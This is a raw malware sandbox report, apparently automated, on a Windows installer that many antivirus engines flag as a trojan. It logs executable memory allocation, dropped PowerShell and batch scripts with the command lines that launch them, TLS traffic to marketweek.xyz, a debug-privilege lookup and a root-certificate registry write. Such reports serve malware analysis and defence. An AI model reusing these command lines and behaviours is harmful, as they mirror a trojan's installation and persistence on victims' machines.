base_address: 0x028d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028dd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028de000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028df000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
registry HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Opera Software
registry HKEY_CURRENT_USER\Software\Opera Software
file C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1
file C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\x64.bat
file C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline Powershell.exe -executionpolicy remotesigned -File onesave.ps1
cmdline "C:\Windows\system32\cmd.exe" /C ""C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\x64.bat""
file C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-QUJ1E.tmp\utility-installer.tmp
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WfÿQȧ¤K¬bÙÜ-©E¼!ï9á©SïöFDOWNGRD .’iÞ«û!…kÁ%k"³%÷Ë#¯¶ujÇQÀ ÿ 
Data received  ã
Data received ß Ü²0‚®0‚T ƒx}þTgâ, ½b¢\í0 *†HÎ=0;1 0 UUS10U Google Trust Services1 0 UWE10 240927064743Z 241226064742Z010Umarketweek.xyz0Y0*†HÎ=*†HÎ=B @L¾²îŸ¢K‰~Cc¨RVÈnjæÝ‡wÁՊ˜BŒÃ/a$­~GCE–¶Â‘ÕM<à~üs0M\ͦ;ž6@£‚Y0‚U0Uÿ€0U% 0 +0 Uÿ00U}²±žƒÓóB$<#«ju>D0U#0€w’5gÄÿ¨Ì©æ{ـy{̓ù80^+R0P0'+0†http://o.pki.goog/s/we1/g3g0%+0†http://i.pki.goog/we1.crt0+U$0"‚marketweek.xyz‚*.marketweek.xyz0U  0 0g 06U/0-0+ ) '†%http://c.pki.goog/we1/t3LJbZiBtsU.crl0‚ +ÖyõòðvîÍÐdÕÛÎÅ\·´Í¢2‡F|¼ìÞÃQHYFqµ›’2s5¹G0E!«‡»0‰l–ë?èh{ „—Ö94k¯h´ì‡%½òHQ¥ cG{Ì0H§À,¡Ðë²8:L.Íùñ¤©)Âä¯qžú{vßáV몯µœ†q¨À2N®VÙn§õ¥jÑÁ;¾R\’2s6ƒG0E :«.ç±ÒÝT%{…nØ',û@Vý-—ƒä$¼¶!‡ûw µü^àcñØìÓ^Í ]¦vj"Z\%0 *†HÎ=H0E!ܹ-öÞ‡j“²ñs kôËðq–Bd/C8| õÛä .ë ­šMU¡Öc¦ÞÁ VpÇ豉kFîêßFèà£0‚Ÿ0‚% ów—,"Jv]¶Ö…ã0 *†HÎ=0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R40 231213090000Z 290220140000Z0;1 0 UUS10U Google Trust Services1 0 UWE10Y0*†HÎ=*†HÎ=BoÍ:þgWGL!…@ÂG]»XG@Á\…Æ7çÕ|í†K›Ù×¥ ø˜ÄÆèžÿY,&˜õæ&%»úV£þ0û0Uÿ†0U%0++0Uÿ0ÿ0Uw’5gÄÿ¨Ì©æ{ـy{̓ù80U#0€€LÖëtÿI6£ÕØüµ>Åjð”Œ04+(0&0$+0†http://i.pki.goog/r4.crt0+U$0"0   †http://c.pki.goog/r/r4.crl0U  0 0g 0 *†HÎ=h0e1ç«QÖ÷C•ÎuþÑ”ÕÌ@Az&¾Ø ó2-=®#HR>dy¯õ¦,nU±0&‰Ìhb牫~èÖD~ãLI¿l€b4¸²¡~:ˆP¼§ˆ Ÿ}sìRAMîâV~0‚z0‚b å0¿3C¾Ý‚I=Š0  *†H†÷  0W1 0 UBE10U GlobalSign nv-sa10U Root CA10UGlobalSign Root CA0 231115034321Z 280128000042Z0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R40v0*†HÎ=+"bóts§h‹`®C¸5Ł0{KIûÁaÎæÞF½kÕa5®@Ýs÷‰‘0Zë<î…|¢@v;©Æ¸GØ*璑jsé±r9Ÿ)Ÿ¢˜Ó_^X†e¡„eÑ܋ÉÇsȌj/åÄ«ÑŠ£ÿ0ü0Uÿ†0U%0++0Uÿ0ÿ0U€LÖëtÿI6£ÕØüµ>Åjð”Œ0U#0€`{fE —ʉP/}Í4¨ÿüýK06+*0(0&+0†http://i.pki.goog/gsr1.crt0-U&0$0"   †http://c.pki.goog/r/gsr1.crl0U  0 0g 0  *†H†÷  ‚B»Ö‡–ã?c ¤¡hH 9"sžøËN-1éŸç ¡Ò6„¬yëé°ëj¶{ }t¸›e«h*,,ÝBýÆq χ-÷kÈn}Vâ#XXù%º…G×– ý ¶Œà.®UÑyu5,1[?e¼Íœ‡B§‘±›^Žñ»Ê-Gð¬c~†¿ÖäkÓÖÓŽŠgX¸ÿ÷¦„ IP[?: % ò‹\ÓyW6‚Îÿ&·©ñ™í­‚>ÈnëÓ<8ÀAšá^SÏ> Wëîâ?H¥ñ¾Ñj# û?/¢µ½ên£FÎ.g¯3&˜ªÕKÒ©6Å&;[‹ˆÁå
Data received ‘
Data received A­ïÇ¥9qÛ Kâ5ç§ã!a\(›K™Ëío˜¹SÃP†>:JX—ñ¦t³R±wÁê/21‰Ì ˜"XF0D i÷³O1‘+ÆO²PY½¬ºåþwzU_7Ü;­F%O +Ïâ˜DkòîÇ T1 ‰rØÄòل+kÑR’'5-
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received Íbµv1K¼‹ ·~þ-¦æÍLæ£Á©&®W¤§€_Áwãë¹-m ¿Æè¨
Data received P
Data received WVgŨHðŽÊh*Ýñ†õšjÁGû9C=‘g~Åزš’ëÇ:Æ¿?ÿgŽ’f…Æ9B1½VÀ¡,!Ñ µÈ÷™uÔkb̹÷[ZÑP›ó³Lóªï*¯Ã…Å¥X2ËïÙ ;I&ïR6ž+OÐÁÖ<çÆZÕ¬^¡^Ürå[M$kŸÒrŽŽ‚m$…-Õ¢¤ƒ%®J¯þ?R®ÞÉ·­J}i=ഊ3¢¼,[A¬á<4Œ„¿!Ó¡(¢Fùˆ.&Ò×ñ{ÓF£’Í,™|¸LL‘ÍV>wóúñç¿ÿn·¬«Œ\ã¡xÀòÈK)>7ÿ˜êŸï6Š~ÍG= hD¡€—#" -Ð"Íʁ̌1WO8%©+¬•ÚÎ)±éŠ‡’´~ðG>Ëgç‚WJ‰q“iWáfån®÷ËæãBÇ3§.€Íg ŽNþÕo ç;Ü»¶ðš¯r%O¼»E…”޷燍Wc›L˜óæ® W¸Y&¦À|¬ êÅb^ˆ‚´Û0ÁìMu£xþ¹XQMÅZv‰¬Ívtnµ>Ž± õÅüTãþ²ùÉòÉÝ\’K‹Ò­üÓU¼`ªâìCa‹í „ÊÂætCKeՇ¶¢+Œ®ÓÿÜ` x]‚Ểr— ŸœæwSds©l@Ï­h37{‡Þ"…¥ßW[N,ÓÖBõÉd°K2¹?¼#µ¯ª‚î:\ÿ[ᭂA•Ž°(.¥Í®!7qî ±ôÁ6îÆào¬ú-.ÆüViqÙ¢T9>gÜq
Data received 
Data received Gqùے`°s½ÂL5rEhDxLFspoŒ`£æ½*
Data sent qmfÿO©j©dÆjXsÆ©øP°U¨VBҝµ©¦~À/5 ÀÀÀ À 28,ÿmarketweek.xyz  
Data sent FBAÌ#xï ÖH¤fÛ¨A÷…I)ïoîã5µˆGh“¯ð‹²†½Bë:cæۚ8’W-<ç4Úy P¥ Ê#1ì0É J—NOxÀ`…‘·M«O¹õ[¸ÉA1ò¹T´+dMoßهI9à3ð»1ñ8±¢
Data sent $JÈÇG¶Ç‰ÎrC`”$;†1cÔN6- œ™ƒB.vÓ]0œšÒ[ö›Ô(ã†e6!Ç{Ð:æž&½›Þ®¨±ü\Έǩ˜!Ë7kÊÒy µaµZ¨=Ž©íÇè;Õ_Є˜f,æˆkšpHÿwòˆ&æþ#£‘HPZÌà*åwh z:´ªÅUüÙúÏö
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000368
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0

RegOpenKeyExW

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
base_handle: 0x80000002
key_handle: 0x00000000
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tech 2.00
2 0
Bkav W32.AIDetectMalware
Cynet Malicious (score: 100)
Skyhigh BehavesLike.Win32.Trojan.tc
CrowdStrike win/malicious_confidence_90% (D)
Elastic malicious (high confidence)
APEX Malicious
SentinelOne Static AI - Suspicious PE
Google Detected
Microsoft Trojan:Win32/Phonzy.C!ml
Varist W32/OffLoader.A.gen!Eldorado
McAfee Artemis!05BF0FB13746
DeepInstinct MALICIOUS
MaxSecure Trojan.Malware.300983.susgen
Fortinet Riskware/Agent
Paloalto generic.ml
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

send

 buffer: qmfÿO©j©dÆjXsÆ©øP°U¨VBҝµ©¦~À/5 ÀÀÀ À 28,ÿmarketweek.xyz  
socket: 1708
sent: 118
1 118 0

send

 buffer: FBAÌ#xï ÖH¤fÛ¨A÷…I)ïoîã5µˆGh“¯ð‹²†½Bë:cæۚ8’W-<ç4Úy P¥ Ê#1ì0É J—NOxÀ`…‘·M«O¹õ[¸ÉA1ò¹T´+dMoßهI9à3ð»1ñ8±¢
socket: 1708
sent: 134
1 134 0

send

